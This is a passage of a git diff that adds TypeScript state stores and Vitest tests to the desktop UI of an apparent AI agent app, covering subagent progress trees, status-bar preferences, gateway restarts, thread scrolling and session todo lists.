+    expect(s2.leftCollapsed()).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/store/starmap.ts b/ui-desktop/src/store/starmap.ts
new file mode 100644
index 000000000..c04730707
--- /dev/null
+++ b/ui-desktop/src/store/starmap.ts
@@ -0,0 +1,65 @@
+import { atom } from 'nanostores'
+
+import { getStarmapGraph } from '@/clawcodex'
+import type { StarmapGraph } from '@/types/clawcodex'
+
+// On-demand cache for the star map. The graph scan touches the skills catalog +
+// usage ledger + memory files, so we fetch it only when the panel opens (and on
+// an explicit refresh), never on a turn boundary.
+export const $starmapGraph = atom<StarmapGraph | null>(null)
+export const $starmapLoading = atom(false)
+export const $starmapError = atom<null | string>(null)
+
+let inflight: Promise<void> | null = null
+
+export async function loadStarmapGraph(force = false): Promise<void> {
+  if (inflight) {
+    return inflight
+  }
+
+  if ($starmapGraph.get() && !force) {
+    return
+  }
+
+  $starmapLoading.set(true)
+  $starmapError.set(null)
+
+  inflight = (async () => {
+    try {
+      $starmapGraph.set(await getStarmapGraph())
+    } catch (err) {
+      $starmapError.set(err instanceof Error ? err.message : String(err))
+    } finally {
+      $starmapLoading.set(false)
+      inflight = null
+    }
+  })()
+
+  return inflight
+}
+
+/** Drop one node from the cached graph immediately; return rollback. */
+export function evictStarmapNode(id: string): () => void {
+  const prev = $starmapGraph.get()
+
+  if (!prev) {
+    return () => {}
+  }
+
+  const next: StarmapGraph = {
+    ...prev,
+    nodes: prev.nodes.filter(node => node.id !== id),
+    edges: prev.edges.filter(edge => edge.source !== id && edge.target !== id)
+  }
+
+  $starmapGraph.set(next)
+
+  return () => $starmapGraph.set(prev)
+}
+
+/** Drop the cache so the next open refetches against the now-active profile. */
+export function resetStarmapGraph(): void {
+  inflight = null
+  $starmapGraph.set(null)
+  $starmapError.set(null)
+}
diff --git a/ui-desktop/src/store/statusbar-prefs.ts b/ui-desktop/src/store/statusbar-prefs.ts
new file mode 100644
index 000000000..4c3942ed2
--- /dev/null
+++ b/ui-desktop/src/store/statusbar-prefs.ts
@@ -0,0 +1,54 @@
+import { Codecs, persistentAtom } from '@/lib/persisted'
+
+const STATUSBAR_HIDDEN_STORAGE_KEY = 'clawcodex.desktop.statusbarHidden'
+const STATUSBAR_VISIBLE_STORAGE_KEY = 'clawcodex.desktop.statusbarVisible'
+
+// Whole-bar visibility, VS Code's `workbench.statusBar.visible`. Off by default
+// — the bar is opt-in. Hiding it unmounts the bar (its 15s status poll goes with
+// it), so the way back is the `view.toggleStatusbar` keybind or the ⌘K row,
+// never the bar itself.
+export const $statusbarVisible = persistentAtom(STATUSBAR_VISIBLE_STORAGE_KEY, false, Codecs.bool)
+
+export function toggleStatusbarVisible() {
+  $statusbarVisible.set(!$statusbarVisible.get())
+}
+
+// Items the bar hides until the user turns them on from its context menu. The
+// bar's job is to answer "is the backend healthy, where am I, what's it doing" —
+// route shortcuts (cron/webhooks/agents), the terminal toggle, and the approval
+// pill are navigation, not status, so they start out of the way. The per-turn
+// session readouts (running/session timers, context meter) are diagnostics most
+// users don't watch, so they start hidden too and the bar stays quiet mid-turn.
+export const STATUSBAR_HIDDEN_BY_DEFAULT: readonly string[] = [
+  'agents',
+  'approval-mode',
+  'context-usage',
+  'cron',
+  'running-timer',
+  'session-timer',
+  'terminal',
+  'webhooks'
+]
+
+// Stored as the explicit hidden set (not the visible one) so an item added to
+// the bar in a later version shows up for existing users instead of silently
+// staying off. An empty array is a real value — the user turned everything on —
+// so this uses a sanitizing json codec rather than Codecs.stringArray, which
+// drops the key when empty and would resurrect the defaults on next launch.
+export const $statusbarHiddenIds = persistentAtom<string[]>(
+  STATUSBAR_HIDDEN_STORAGE_KEY,
+  [...STATUSBAR_HIDDEN_BY_DEFAULT],
+  Codecs.json<string[]>(value =>
+    Array.isArray(value) ? value.filter((id): id is string => typeof id === 'string' && id.length > 0) : []
+  )
+)
+
+export function setStatusbarItemVisible(id: string, visible: boolean) {
+  const hidden = $statusbarHiddenIds.get()
+
+  if (visible === !hidden.includes(id)) {
+    return
+  }
+
+  $statusbarHiddenIds.set(visible ? hidden.filter(entry => entry !== id) : [...hidden, id])
+}
diff --git a/ui-desktop/src/store/subagents.test.ts b/ui-desktop/src/store/subagents.test.ts
new file mode 100644
index 000000000..f93475eb0
--- /dev/null
+++ b/ui-desktop/src/store/subagents.test.ts
@@ -0,0 +1,193 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  $subagentsBySession,
+  activeSubagentCount,
+  allSubagents,
+  buildSubagentTree,
+  clearSessionSubagents,
+  failedSubagentCount,
+  pruneDelegateFallbackSubagents,
+  pruneFinishedSessionSubagents,
+  upsertSubagent
+} from './subagents'
+
+const listFor = (sid: string) => $subagentsBySession.get()[sid] ?? []
+
+describe('subagent store', () => {
+  beforeEach(() => $subagentsBySession.set({}))
+
+  it('upserts subagent progress and keeps terminal status stable', () => {
+    upsertSubagent('s1', { goal: 'scan files', status: 'running', subagent_id: 'a1', task_index: 0 })
+    upsertSubagent('s1', { goal: 'scan files', status: 'completed', subagent_id: 'a1', summary: 'done', task_index: 0 })
+    upsertSubagent('s1', { goal: 'scan files', status: 'running', subagent_id: 'a1', task_index: 0, text: 'late' })
+
+    const item = listFor('s1')[0]
+    expect(item?.status).toBe('completed')
+    expect(item?.summary).toBe('done')
+  })
+
+  it('builds parent/child trees', () => {
+    upsertSubagent('s1', { goal: 'parent', status: 'running', subagent_id: 'p', task_index: 0 })
+    upsertSubagent('s1', { goal: 'child', parent_id: 'p', status: 'queued', subagent_id: 'c', task_index: 1 })
+
+    const tree = buildSubagentTree(listFor('s1'))
+    expect(tree).toHaveLength(1)
+    expect(tree[0]?.children[0]?.goal).toBe('child')
+    expect(activeSubagentCount(listFor('s1'))).toBe(2)
+  })
+
+  it('keeps root nodes in spawn order, not task index order', () => {
+    const nowSpy = vi.spyOn(Date, 'now')
+    nowSpy.mockReturnValueOnce(1_000)
+    upsertSubagent('s1', { goal: 'first spawn', status: 'running', subagent_id: 'a', task_index: 2 })
+    nowSpy.mockReturnValueOnce(2_000)
+    upsertSubagent('s1', { goal: 'second spawn', status: 'running', subagent_id: 'b', task_index: 0 })
+    nowSpy.mockRestore()
+
+    expect(buildSubagentTree(listFor('s1')).map(n => n.id)).toEqual(['a', 'b'])
+  })
+
+  it('captures live thinking/progress/tool stream lines', () => {
+    upsertSubagent(
+      's1',
+      { goal: 'scan files', status: 'queued', subagent_id: 'a1', task_index: 0 },
+      true,
+      'subagent.spawn_requested'
+    )
+    upsertSubagent(
+      's1',
+      {
+        status: 'running',
+        subagent_id: 'a1',
+        task_index: 0,
+        tool_name: 'search_files',
+        tool_preview: 'pattern=clawcodex'
+      },
+      false,
+      'subagent.tool'
+    )
+    upsertSubagent(
+      's1',
+      { status: 'running', subagent_id: 'a1', task_index: 0, text: 'plan the search order' },
+      false,
+      'subagent.thinking'
+    )
+    upsertSubagent(
+      's1',
+      { status: 'running', subagent_id: 'a1', task_index: 0, text: 'found candidate matches' },
+      false,
+      'subagent.progress'
+    )
+    upsertSubagent(
+      's1',
+      { status: 'completed', subagent_id: 'a1', summary: 'search complete', task_index: 0 },
+      false,
+      'subagent.complete'
+    )
+
+    const item = listFor('s1')[0]
+    expect(item?.stream.map(e => e.kind)).toEqual(['tool', 'thinking', 'progress', 'summary'])
+    expect(item?.stream.find(e => e.kind === 'tool')?.text).toContain('Search Files')
+    expect(item?.stream.find(e => e.kind === 'thinking')?.text).toBe('plan the search order')
+    expect(item?.stream.find(e => e.kind === 'summary')?.text).toBe('search complete')
+  })
+
+  it('prunes delegate fallback rows once native events arrive', () => {
+    upsertSubagent('s1', { goal: 'fallback', status: 'running', subagent_id: 'delegate-tool:abc:0', task_index: 0 })
+    upsertSubagent('s1', { goal: 'native', status: 'running', subagent_id: 'sa-0-xyz', task_index: 0 })
+
+    pruneDelegateFallbackSubagents('s1')
+
+    expect(listFor('s1').map(item => item.id)).toEqual(['sa-0-xyz'])
+  })
+
+  // Contract: the status-bar "Agents" indicator and the Spawn-tree panel read
+  // the same scope — every session's subagents — so a count can never point at
+  // an empty tree (the desync behind "Agents (N)" vs "No live subagents").
+  it('counts running/failed across every session, matching the aggregated tree', () => {
+    upsertSubagent('s1', { goal: 'a', status: 'running', subagent_id: 'a', task_index: 0 })
+    upsertSubagent('s1', { goal: 'b', status: 'failed', subagent_id: 'b', task_index: 1 })
+    upsertSubagent('s2', { goal: 'c', status: 'running', subagent_id: 'c', task_index: 0 })
+    upsertSubagent('s2', { goal: 'd', status: 'failed', subagent_id: 'd', task_index: 1 })
+
+    const flat = allSubagents($subagentsBySession.get())
+    const indicatorRunning = Object.values($subagentsBySession.get()).reduce((n, l) => n + activeSubagentCount(l), 0)
+    const indicatorFailed = Object.values($subagentsBySession.get()).reduce((n, l) => n + failedSubagentCount(l), 0)
+    const tree = buildSubagentTree(flat)
+
+    // The active-session-only filter would have reported 1/1 here, not 2/2.
+    expect(indicatorRunning).toBe(2)
+    expect(indicatorFailed).toBe(2)
+    expect(tree).toHaveLength(4)
+    expect(indicatorRunning + indicatorFailed).toBe(tree.length)
+  })
+
+  it('clears one session without touching another', () => {
+    upsertSubagent('s1', { goal: 'one', status: 'running', subagent_id: 'a1', task_index: 0 })
+    upsertSubagent('s2', { goal: 'two', status: 'running', subagent_id: 'a2', task_index: 0 })
+
+    clearSessionSubagents('s1')
+
+    expect($subagentsBySession.get().s1).toBeUndefined()
+    expect($subagentsBySession.get().s2).toHaveLength(1)
+  })
+
+  // Regression test for #64015: still-RUNNING background subagents must survive
+  // the per-turn wipe that previously dropped them at message.start. The fix
+  // replaces clearSessionSubagents() with pruneFinishedSessionSubagents() at
+  // the use-message-stream message.start handler, so only terminal-status rows
+  // get filtered out.
+  it('pruneFinishedSessionSubagents keeps running/queued and drops terminal rows', () => {
+    upsertSubagent('s1', { goal: 'live-a', status: 'running', subagent_id: 'live-a', task_index: 0 })
+    upsertSubagent('s1', { goal: 'live-b', status: 'queued', subagent_id: 'live-b', task_index: 1 })
+    upsertSubagent('s1', { goal: 'done', status: 'completed', subagent_id: 'done', task_index: 2 })
+    upsertSubagent('s1', { goal: 'broken', status: 'failed', subagent_id: 'broken', task_index: 3 })
+    upsertSubagent('s1', { goal: 'cancelled', status: 'interrupted', subagent_id: 'cancelled', task_index: 4 })
+
+    pruneFinishedSessionSubagents('s1')
+
+    const ids = listFor('s1')
+      .map(item => item.id)
+      .sort()
+
+    expect(ids).toEqual(['live-a', 'live-b'])
+    expect(activeSubagentCount(listFor('s1'))).toBe(2)
+  })
+
+  // Companion test: after prune, a late `subagent.complete` event for a
+  // surviving live row must still be accepted by upsertSubagent (the wipe
+  // path previously silently dropped these).
+  it('surviving live subagents still accept createIfMissing=false completion', () => {
+    upsertSubagent('s1', { goal: 'live', status: 'running', subagent_id: 'live', task_index: 0 })
+
+    pruneFinishedSessionSubagents('s1')
+
+    upsertSubagent(
+      's1',
+      { status: 'completed', subagent_id: 'live', task_index: 0, summary: 'finished later' },
+      false,
+      'subagent.complete'
+    )
+
+    const item = listFor('s1')[0]
+    expect(item?.status).toBe('completed')
+    expect(item?.summary).toBe('finished later')
+  })
+
+  it('pruneFinishedSessionSubagents leaves other sessions untouched', () => {
+    upsertSubagent('s1', { goal: 'live', status: 'running', subagent_id: 'a', task_index: 0 })
+    upsertSubagent('s1', { goal: 'done', status: 'completed', subagent_id: 'b', task_index: 1 })
+    upsertSubagent('s2', { goal: 'live', status: 'running', subagent_id: 'c', task_index: 0 })
+    upsertSubagent('s2', { goal: 'done', status: 'completed', subagent_id: 'd', task_index: 1 })
+
+    pruneFinishedSessionSubagents('s1')
+
+    expect(listFor('s1').map(item => item.id)).toEqual(['a'])
+    expect(
+      listFor('s2')
+        .map(item => item.id)
+        .sort()
+    ).toEqual(['c', 'd'])
+  })
+})
diff --git a/ui-desktop/src/store/subagents.ts b/ui-desktop/src/store/subagents.ts
new file mode 100644
index 000000000..6127b1518
--- /dev/null
+++ b/ui-desktop/src/store/subagents.ts
@@ -0,0 +1,296 @@
+import { atom } from 'nanostores'
+
+import { capitalize } from '@/lib/text'
+
+export type SubagentStatus = 'completed' | 'failed' | 'interrupted' | 'queued' | 'running'
+export type SubagentStreamKind = 'progress' | 'summary' | 'thinking' | 'tool'
+
+export interface SubagentStreamEntry {
+  at: number
+  isError?: boolean
+  kind: SubagentStreamKind
+  text: string
+}
+
+export interface SubagentProgress {
+  id: string
+  parentId: null | string
+  goal: string
+  /** The child's own stored session id — lets UIs open its session window. */
+  sessionId?: string
+  model?: string
+  status: SubagentStatus
+  taskCount: number
+  taskIndex: number
+  startedAt: number
+  updatedAt: number
+  durationSeconds?: number
+  costUsd?: number
+  inputTokens?: number
+  outputTokens?: number
+  toolCount?: number
+  filesRead: string[]
+  filesWritten: string[]
+  stream: SubagentStreamEntry[]
+  summary?: string
+  /** Active tool while running — cleared on terminal status. */
+  currentTool?: string
+}
+
+export interface SubagentNode extends SubagentProgress {
+  children: SubagentNode[]
+}
+
+export type SubagentPayload = Record<string, unknown>
+
+const TERMINAL: ReadonlySet<SubagentStatus> = new Set(['completed', 'failed', 'interrupted'])
+const MAX_STREAM = 24
+const PREVIEW_MAX = 220
+const TOOL_PREVIEW_MAX = 96
+
+export const $subagentsBySession = atom<Record<string, SubagentProgress[]>>({})
+
+const isStr = (v: unknown): v is string => typeof v === 'string'
+const str = (v: unknown) => (isStr(v) ? v : '')
+const num = (v: unknown) => (typeof v === 'number' && Number.isFinite(v) ? v : undefined)
+const strList = (v: unknown) => (Array.isArray(v) ? v.filter(isStr) : [])
+
+const asStatus = (v: unknown): SubagentStatus =>
+  v === 'completed' || v === 'failed' || v === 'interrupted' || v === 'queued' ? v : 'running'
+
+const compact = (text: string, max = PREVIEW_MAX) => {
+  const line = text.replace(/\s+/g, ' ').trim()
+
+  if (!line) {
+    return ''
+  }
+
+  return line.length > max ? `${line.slice(0, max - 1)}…` : line
+}
+
+const toolLabel = (name: string) => name.split('_').filter(Boolean).map(capitalize).join(' ') || name
+
+const formatTool = (name: string, preview = '') => {
+  const snippet = compact(preview, TOOL_PREVIEW_MAX)
+
+  return snippet ? `${toolLabel(name)}("${snippet}")` : toolLabel(name)
+}
+
+interface TailEntry {
+  isError?: boolean
+  preview?: string
+  tool?: string
+}
+
+const asTail = (v: unknown): TailEntry[] =>
+  Array.isArray(v)
+    ? v
+        .filter((item): item is Record<string, unknown> => !!item && typeof item === 'object')
+        .map(item => ({
+          isError: item.is_error === true,
+          preview: str(item.preview) || undefined,
+          tool: str(item.tool) || undefined
+        }))
+    : []
+
+const idOf = (p: SubagentPayload) =>
+  str(p.subagent_id) || `${str(p.parent_id) || 'root'}:${num(p.task_index) ?? 0}:${str(p.goal)}`
+
+const appendStream = (stream: SubagentStreamEntry[], entry: SubagentStreamEntry) => {
+  const last = stream.at(-1)
+
+  if (last?.kind === entry.kind && last.text === entry.text && last.isError === entry.isError) {
+    return stream
+  }
+
+  return [...stream, entry].slice(-MAX_STREAM)
+}
+
+function streamFromPayload(
+  payload: SubagentPayload,
+  status: SubagentStatus,
+  eventType: string,
+  at: number
+): SubagentStreamEntry[] {
+  const out: SubagentStreamEntry[] = []
+  const tool = str(payload.tool_name)
+  const preview = str(payload.tool_preview) || str(payload.text)
+  const text = compact(str(payload.text) || preview)
+
+  for (const tail of asTail(payload.output_tail)) {
+    const line = tail.tool ? formatTool(tail.tool, tail.preview ?? '') : compact(tail.preview ?? '')
+
+    if (line) {
+      out.push({ at, isError: tail.isError, kind: tail.tool ? 'tool' : 'progress', text: line })
+    }
+  }
+
+  if (tool) {
+    out.push({ at, isError: !!payload.error, kind: 'tool', text: formatTool(tool, preview) })
+  }
+
+  if (eventType === 'subagent.progress' && text) {
+    out.push({ at, isError: !!payload.error, kind: 'progress', text })
+  }
+
+  if (eventType === 'subagent.thinking' && text) {
+    out.push({ at, kind: 'thinking', text })
+  }
+
+  const summary = compact(str(payload.summary) || str(payload.text))
+
+  if (TERMINAL.has(status) && summary) {
+    out.push({ at, isError: status === 'failed', kind: 'summary', text: summary })
+  }
+
+  return out
+}
+
+function toProgress(payload: SubagentPayload, prev: SubagentProgress | undefined, eventType = ''): SubagentProgress {
+  const at = Date.now()
+  const status = asStatus(payload.status)
+  const tool = str(payload.tool_name)
+  const stream = streamFromPayload(payload, status, eventType, at).reduce(appendStream, prev?.stream ?? [])
+  const filesRead = strList(payload.files_read)
+  const filesWritten = strList(payload.files_written)
+
+  return {
+    id: prev?.id ?? idOf(payload),
+    parentId: str(payload.parent_id) || prev?.parentId || null,
+    goal: str(payload.goal) || prev?.goal || 'Subagent',
+    sessionId: str(payload.child_session_id) || prev?.sessionId,
+    model: str(payload.model) || prev?.model,
+    status,
+    taskCount: num(payload.task_count) ?? prev?.taskCount ?? 1,
+    taskIndex: num(payload.task_index) ?? prev?.taskIndex ?? 0,
+    startedAt: prev?.startedAt ?? at,
+    updatedAt: at,
+    durationSeconds: num(payload.duration_seconds) ?? prev?.durationSeconds,
+    costUsd: num(payload.cost_usd) ?? prev?.costUsd,
+    inputTokens: num(payload.input_tokens) ?? prev?.inputTokens,
+    outputTokens: num(payload.output_tokens) ?? prev?.outputTokens,
+    toolCount: num(payload.tool_count) ?? prev?.toolCount,
+    filesRead: filesRead.length ? filesRead : (prev?.filesRead ?? []),
+    filesWritten: filesWritten.length ? filesWritten : (prev?.filesWritten ?? []),
+    stream,
+    summary: str(payload.summary) || prev?.summary,
+    currentTool: TERMINAL.has(status) ? undefined : tool || prev?.currentTool
+  }
+}
+
+export function clearSessionSubagents(sid: string) {
+  const map = $subagentsBySession.get()
+
+  if (!(sid in map)) {
+    return
+  }
+
+  const { [sid]: _drop, ...rest } = map
+  $subagentsBySession.set(rest)
+}
+
+/**
+ * Prune terminal-status subagent rows for a session, leaving running/queued
+ * entries untouched. Used at the `message.start` boundary in the desktop
+ * message-stream hook so that the *previous* turn's finished rows get flushed
+ * from the display while background subagents that outlived the spawning turn
+ * remain visible (and still accept late progress/complete events).
+ *
+ * Distinct from `clearSessionSubagents` (used by the Stop action, which
+ * genuinely cancels running subagents and so should drop them all) and from
+ * `pruneDelegateFallbackSubagents` (which filters by id prefix to remove
+ * placeholder rows once the real native event arrives).
+ */
+export function pruneFinishedSessionSubagents(sid: string) {
+  const map = $subagentsBySession.get()
+  const list = map[sid]
+
+  if (!list?.length) {
+    return
+  }
+
+  const next = list.filter(item => item.status === 'running' || item.status === 'queued')
+
+  if (next.length === list.length) {
+    return
+  }
+
+  $subagentsBySession.set({ ...map, [sid]: next })
+}
+
+export function pruneDelegateFallbackSubagents(sid: string) {
+  const map = $subagentsBySession.get()
+  const list = map[sid]
+
+  if (!list?.length) {
+    return
+  }
+
+  const next = list.filter(item => !item.id.startsWith('delegate-tool:'))
+
+  if (next.length === list.length) {
+    return
+  }
+
+  $subagentsBySession.set({ ...map, [sid]: next })
+}
+
+export function upsertSubagent(sid: string, payload: SubagentPayload, createIfMissing = true, eventType?: string) {
+  const map = $subagentsBySession.get()
+  const list = map[sid] ?? []
+  const id = idOf(payload)
+  const idx = list.findIndex(item => item.id === id)
+
+  if (idx < 0 && !createIfMissing) {
+    return
+  }
+
+  const prev = idx >= 0 ? list[idx] : undefined
+
+  if (prev && TERMINAL.has(prev.status)) {
+    return
+  }
+
+  const next = toProgress(payload, prev, eventType)
+  const nextList = idx >= 0 ? list.map(item => (item.id === id ? next : item)) : [...list, next]
+
+  $subagentsBySession.set({ ...map, [sid]: nextList })
+}
+
+export function buildSubagentTree(items: readonly SubagentProgress[]): SubagentNode[] {
+  const nodes = new Map<string, SubagentNode>()
+
+  for (const item of items) {
+    nodes.set(item.id, { ...item, children: [] })
+  }
+
+  const roots: SubagentNode[] = []
+
+  for (const node of nodes.values()) {
+    const parent = node.parentId ? nodes.get(node.parentId) : null
+
+    if (parent) {
+      parent.children.push(node)
+    } else {
+      roots.push(node)
+    }
+  }
+
+  const sort = (a: SubagentNode, b: SubagentNode) =>
+    a.startedAt - b.startedAt || a.taskIndex - b.taskIndex || a.goal.localeCompare(b.goal)
+
+  const walk = (node: SubagentNode) => node.children.sort(sort).forEach(walk)
+  roots.sort(sort).forEach(walk)
+
+  return roots
+}
+
+export const activeSubagentCount = (items: readonly SubagentProgress[]) =>
+  items.filter(item => item.status === 'queued' || item.status === 'running').length
+
+export const failedSubagentCount = (items: readonly SubagentProgress[]) =>
+  items.filter(item => item.status === 'failed' || item.status === 'interrupted').length
+
+/** Flatten every session's subagents — the scope the Spawn-tree panel and the
+ *  status-bar indicator must agree on. */
+export const allSubagents = (bySession: Record<string, SubagentProgress[]>) => Object.values(bySession).flat()
diff --git a/ui-desktop/src/store/system-actions.ts b/ui-desktop/src/store/system-actions.ts
new file mode 100644
index 000000000..07280186f
--- /dev/null
+++ b/ui-desktop/src/store/system-actions.ts
@@ -0,0 +1,48 @@
+import { atom } from 'nanostores'
+
+import { getActionStatus, restartGateway } from '@/clawcodex'
+import { translateNow } from '@/i18n'
+import { notifyError } from '@/store/notifications'
+import type { ActionResponse } from '@/types/clawcodex'
+
+const POLL_ATTEMPTS = 18
+const POLL_INTERVAL_MS = 1200
+const POLL_TIMEOUT_S = 180
+
+// True while a gateway restart is in flight — drives the statusbar gateway
+// indicator (glyph spinner) so the restart shows up where users already look,
+// instead of a toast that vanishes or a generic "Agents running" counter.
+export const $gatewayRestarting = atom(false)
+
+// Poll a backend action to completion (or a bounded window), throwing on a
+// non-zero exit so the caller can surface the failure.
+async function awaitAction(started: ActionResponse): Promise<void> {
+  for (let attempt = 0; attempt < POLL_ATTEMPTS; attempt += 1) {
+    await new Promise(resolve => window.setTimeout(resolve, POLL_INTERVAL_MS))
+    const status = await getActionStatus(started.name, POLL_TIMEOUT_S)
+
+    if (!status.running) {
+      if (status.exit_code != null && status.exit_code !== 0) {
+        throw new Error(translateNow('commandCenter.gatewayRestartFailed'))
+      }
+
+      return
+    }
+  }
+}
+
+// Restart the messaging gateway, surfacing progress in the statusbar gateway
+// indicator. Self-contained and never rejects, so every trigger — Cmd+K, the
+// messaging save/toggle toasts — gets identical feedback from a plain
+// `void runGatewayRestart()`, and a failure is the only thing that toasts.
+export async function runGatewayRestart(): Promise<void> {
+  $gatewayRestarting.set(true)
+
+  try {
+    await awaitAction(await restartGateway())
+  } catch (err) {
+    notifyError(err, translateNow('commandCenter.gatewayRestartFailed'))
+  } finally {
+    $gatewayRestarting.set(false)
+  }
+}
diff --git a/ui-desktop/src/store/thread-scroll.ts b/ui-desktop/src/store/thread-scroll.ts
new file mode 100644
index 000000000..976cf4b4e
--- /dev/null
+++ b/ui-desktop/src/store/thread-scroll.ts
@@ -0,0 +1,64 @@
+import { atom, type WritableAtom } from 'nanostores'
+
+// "Is the thread parked at the bottom" is owned by use-stick-to-bottom inside
+// ThreadMessageList (the scroll container). That state lives only in that
+// subtree, so ThreadMessageList mirrors it into these atoms for the composer,
+// status stack, and floating jump button — all of which render OUTSIDE the thread.
+//
+// `$threadScrolledUp` dims the composer / status stack; `$threadJumpButtonVisible`
+// shows the floating jump control. Both track `!isAtBottom` today, but stay
+// separate so their thresholds can diverge again without touching consumers.
+export const $threadScrolledUp = atom(false)
+export const $threadJumpButtonVisible = atom(false)
+
+// Skip no-op writes so subscribers don't churn on every scroll tick.
+const setter = (target: WritableAtom<boolean>) => (value: boolean) => {
+  if (target.get() !== value) {
+    target.set(value)
+  }
+}
+
+const setScrolledUp = setter($threadScrolledUp)
+const setJumpButtonVisible = setter($threadJumpButtonVisible)
+
+export const setThreadAtBottom = (isAtBottom: boolean) => {
+  setScrolledUp(!isAtBottom)
+  setJumpButtonVisible(!isAtBottom)
+}
+
+export const resetThreadScroll = () => setThreadAtBottom(true)
+
+// Cross-component bridge: the jump button lives by the composer, the viewport's
+// `scrollToBottom` lives inside the thread. The bridge registers a handler; the
+// button fires it. Mirrors the composer focus/insert emitter pattern.
+const handlers = new Set<() => void>()
+
+export const onScrollToBottomRequest = (handler: () => void) => {
+  handlers.add(handler)
+
+  return () => void handlers.delete(handler)
+}
+
+export const requestScrollToBottom = () => handlers.forEach(handler => handler())
+
+// Inline edit grows a sticky human bubble. Fire on pointerdown so the viewport
+// escapes stick-to-bottom before focus/layout; close clears the edit flag when
+// the inline composer unmounts.
+const editOpenHandlers = new Set<() => void>()
+const editCloseHandlers = new Set<() => void>()
+
+export const onThreadEditOpen = (handler: () => void) => {
+  editOpenHandlers.add(handler)
+
+  return () => void editOpenHandlers.delete(handler)
+}
+
+export const notifyThreadEditOpen = () => editOpenHandlers.forEach(handler => handler())
+
+export const onThreadEditClose = (handler: () => void) => {
+  editCloseHandlers.add(handler)
+
+  return () => void editCloseHandlers.delete(handler)
+}
+
+export const notifyThreadEditClose = () => editCloseHandlers.forEach(handler => handler())
diff --git a/ui-desktop/src/store/todos.test.ts b/ui-desktop/src/store/todos.test.ts
new file mode 100644
index 000000000..1f1abf2e1
--- /dev/null
+++ b/ui-desktop/src/store/todos.test.ts
@@ -0,0 +1,105 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { TodoItem } from '@/lib/todos'
+
+import {
+  $todosBySession,
+  clearActiveSessionTodos,
+  clearSessionTodos,
+  setSessionTodos,
+  todosForHydration
+} from './todos'
+
+const todo = (id: string, status: TodoItem['status']): TodoItem => ({ content: `task ${id}`, id, status })
+
+describe('setSessionTodos finished-list auto-clear', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+  })
+
+  afterEach(() => {
+    clearSessionTodos('s1')
+    vi.useRealTimers()
+  })
+
+  it('keeps an in-flight list indefinitely', () => {
+    setSessionTodos('s1', [todo('a', 'completed'), todo('b', 'in_progress')])
+
+    vi.advanceTimersByTime(60_000)
+
+    expect($todosBySession.get().s1).toHaveLength(2)
+  })
+
+  it('drops the list shortly after every item completes', () => {
+    setSessionTodos('s1', [todo('a', 'completed'), todo('b', 'cancelled')])
+
+    expect($todosBySession.get().s1).toHaveLength(2)
+
+    vi.advanceTimersByTime(5_000)
+
+    expect($todosBySession.get().s1).toBeUndefined()
+  })
+
+  it('cancels the pending clear when a new active list arrives', () => {
+    setSessionTodos('s1', [todo('a', 'completed')])
+    vi.advanceTimersByTime(2_000)
+
+    // The next turn starts a fresh plan before the linger expires.
+    setSessionTodos('s1', [todo('a', 'completed'), todo('b', 'pending')])
+    vi.advanceTimersByTime(60_000)
+
+    expect($todosBySession.get().s1).toHaveLength(2)
+  })
+})
+
+describe('clearActiveSessionTodos (turn-end cleanup)', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+  })
+
+  afterEach(() => {
+    clearSessionTodos('s1')
+    vi.useRealTimers()
+  })
+
+  it('drops a still-active list when the turn has ended', () => {
+    setSessionTodos('s1', [todo('a', 'completed'), todo('b', 'in_progress')])
+
+    clearActiveSessionTodos('s1')
+
+    expect($todosBySession.get().s1).toBeUndefined()
+  })
+
+  it('leaves a finished list to its normal linger instead of clearing immediately', () => {
+    setSessionTodos('s1', [todo('a', 'completed')])
+
+    clearActiveSessionTodos('s1')
+
+    expect($todosBySession.get().s1).toHaveLength(1)
+    vi.advanceTimersByTime(5_000)
+    expect($todosBySession.get().s1).toBeUndefined()
+  })
+
+  it('is a no-op when the session has no todos', () => {
+    clearActiveSessionTodos('s1')
+
+    expect($todosBySession.get().s1).toBeUndefined()
+  })
+})
+
+describe('todosForHydration (stale-active guard on restore)', () => {
+  it('does not restore an active list (stale after a completed turn)', () => {
+    expect(todosForHydration([todo('a', 'completed'), todo('b', 'in_progress')])).toBeNull()
+    expect(todosForHydration([todo('a', 'pending')])).toBeNull()
+  })
+
+  it('restores a finished list so its linger shows the final checkmarks', () => {
+    const finished = [todo('a', 'completed'), todo('b', 'cancelled')]
+
+    expect(todosForHydration(finished)).toEqual(finished)
+  })
+
+  it('returns null when there is nothing stored', () => {
+    expect(todosForHydration(null)).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/store/todos.ts b/ui-desktop/src/store/todos.ts
new file mode 100644
index 000000000..31aed642f
--- /dev/null
+++ b/ui-desktop/src/store/todos.ts
@@ -0,0 +1,90 @@
+import { atom } from 'nanostores'
+
+import type { TodoItem } from '@/lib/todos'
+
+/**
+ * Live todo list per runtime session, rendered by the composer status stack
+ * (the inline transcript panel is gone). Fed from two places:
+ *
+ * - live `todo` tool events (use-message-stream)
+ * - stored-session hydration (desktop-controller) — but only when the list is
+ *   still in flight, so reopening an old chat doesn't pin its finished plan
+ *   above the composer forever.
+ */
+export const $todosBySession = atom<Record<string, TodoItem[]>>({})
+
+export const todoListActive = (todos: readonly TodoItem[]) =>
+  todos.some(t => t.status === 'pending' || t.status === 'in_progress')
+
+// Decide which todo list to restore when rehydrating a session from stored
+// history. Rehydration runs *after* a turn completes, so an active list (last
+// item still pending/in_progress) is stale — the turn ended without a final
+// `todo` update — and must NOT be re-pinned (that would undo the turn-end
+// clear and, because it's read back from history, resurrect on restart). Only
+// a finished list is restored, so its short linger shows the last checkmark.
+// Returns null when there's nothing to restore (caller should clear).
+export function todosForHydration(todos: readonly TodoItem[] | null): TodoItem[] | null {
+  return todos && !todoListActive(todos) ? [...todos] : null
+}
+
+// Once a list finishes (every item completed/cancelled), the final state
+// lingers just long enough to see the last checkmark land, then the group
+// drops out of the stack on its own.
+const FINISHED_LINGER_MS = 4_000
+const clearTimers = new Map<string, ReturnType<typeof setTimeout>>()
+
+function cancelScheduledClear(sid: string) {
+  const timer = clearTimers.get(sid)
+
+  if (timer !== undefined) {
+    clearTimeout(timer)
+    clearTimers.delete(sid)
+  }
+}
+
+export function setSessionTodos(sid: string, todos: TodoItem[]) {
+  if (!sid) {
+    return
+  }
+
+  cancelScheduledClear(sid)
